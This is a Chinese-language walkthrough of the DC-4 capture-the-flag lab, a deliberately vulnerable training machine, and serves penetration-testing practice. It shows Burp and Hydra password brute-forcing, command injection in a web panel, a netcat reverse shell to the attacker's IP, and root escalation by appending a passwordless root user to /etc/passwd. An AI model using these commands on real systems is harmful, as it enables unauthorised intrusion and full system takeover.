渗透DC-4

靶机描述

下载地址:http://www.five86.com/downloads/DC-4.zip

1
2
3
4
5
6
7
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

信息收集

扫描同网段存活主机

1
arp-scan -l

扫描开放端口,发现开放的22端口和80端口

1
nmap -A 172.18.1.138

访问80端口,是一个web应用,页面只有一个登录框

尝试扫描后台文件

1
2
3
4
dirsearch -u http://172.18.1.138/ -e * -i 200

-e *扫描所有类型文件
-i 200保留响应为200的

Web攻击

尝试密码爆破web页面,采用bp抓包重放

发送到Intruder模块,然后设置参数

根据页面信息显示,该页面是管理员登录界面,可以猜测用户名为admin,剩下就只需要爆破密码就可以

然后开始攻击

根据返回报的大小,可以判断密码为happy

有了账号密码可以去登录页面

页面提供三个操作命令,抓包可以看到操作指令

发送到Repeater模块,更改参数可以看到不同的执行效果,也就是一个远程命令执行

反弹shell

利用这个点,查找一下是否有nc命令,我们可以利用nc来反弹shell

1
2
3
which nc

# which查找命令,+号在这里是代表空格的意思,bp直接打空格会被当成两个命令,所以用空格连接

有了nc,就利用nc反弹shell

首先在kali监听端口

1
nc -lvvp 1234

然后用nc执行反弹shell

1
2
3
4
nc 172.18.1.128 1234 -e /bin/bash 
# ip是攻击机(kali)的ip
# nc+172.18.1.128+1234+-e+/bin/bash
# 空格+号代替

利用python升级成交互型shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

渗透阶段

切换到根目录,收集一些有用信息

首先发现存在三个用户

只有jim目录下有文件,一个backups,一个mbox,一个test.sh

先看backups下的文件,里面存的是一个使用过的密码文件,我们拷贝一份到桌面

再看一下mbox发现没有查看权限,test.sh只是一个打印输出的代码没有什么用处

考虑到服务器还开放了22号端口,提供了一份密码本,我们也清楚了用户,考虑爆破一下ssh登录

在桌面上创建一个用户名文本

使用hydra爆破ssh密码

1
2
3
4
5
6
hydra(九头蛇)是著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解。密码能否破解,在于字典是否强大。

使用语法:hydra 参数 IP地址 服务名
帮助命令:hydra -h
常用命令:hydra [-l 用户名|–L 用户名文件路径] [-p 密码|–P 密码文件路径] [-t 线程数] [–vV 显示详细信息] [–o 输出文件路径] [–f 找到密码就停止] [–e ns 空密码和指定密码试探] [ip|-M ip列表文件路径]

1
hydra -L user.txt -P password.txt 172.18.1.138 ssh

得到ssh账号密码后,连接上去

1
ssh jim@172.18.1.138

继续进行信息收集,刚才没看到的那个mbox这次可以查看了

是一份邮件信息提示

查看客户端mail,输入编号查看对应的邮件

这里我们charles的密码了,切换用户

提权

查看当前用户能执行的命令权限

1
2
3
sudo -l

-l 列出当前用户可执行与无法执行的指令

发现teehee具有root权限,尝试搜索teehee提权信息

1
2
3
4
teehee命令可以往一个文件追加内容,可以通过它向/etc/passwd写入内容,新增一个超级用户

echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
# 用户名test 没有密码为管理员权限 进入的时候运行/bin/bash

提权成功!

查找flag

1
find / -name *flag*

查看flag

1
cat /root/flag.txt

总结

  • bp爆破用户名账号密码
  • nc反弹shell
  • hydra爆破
  • linux mail命令查看邮件
  • teehee提权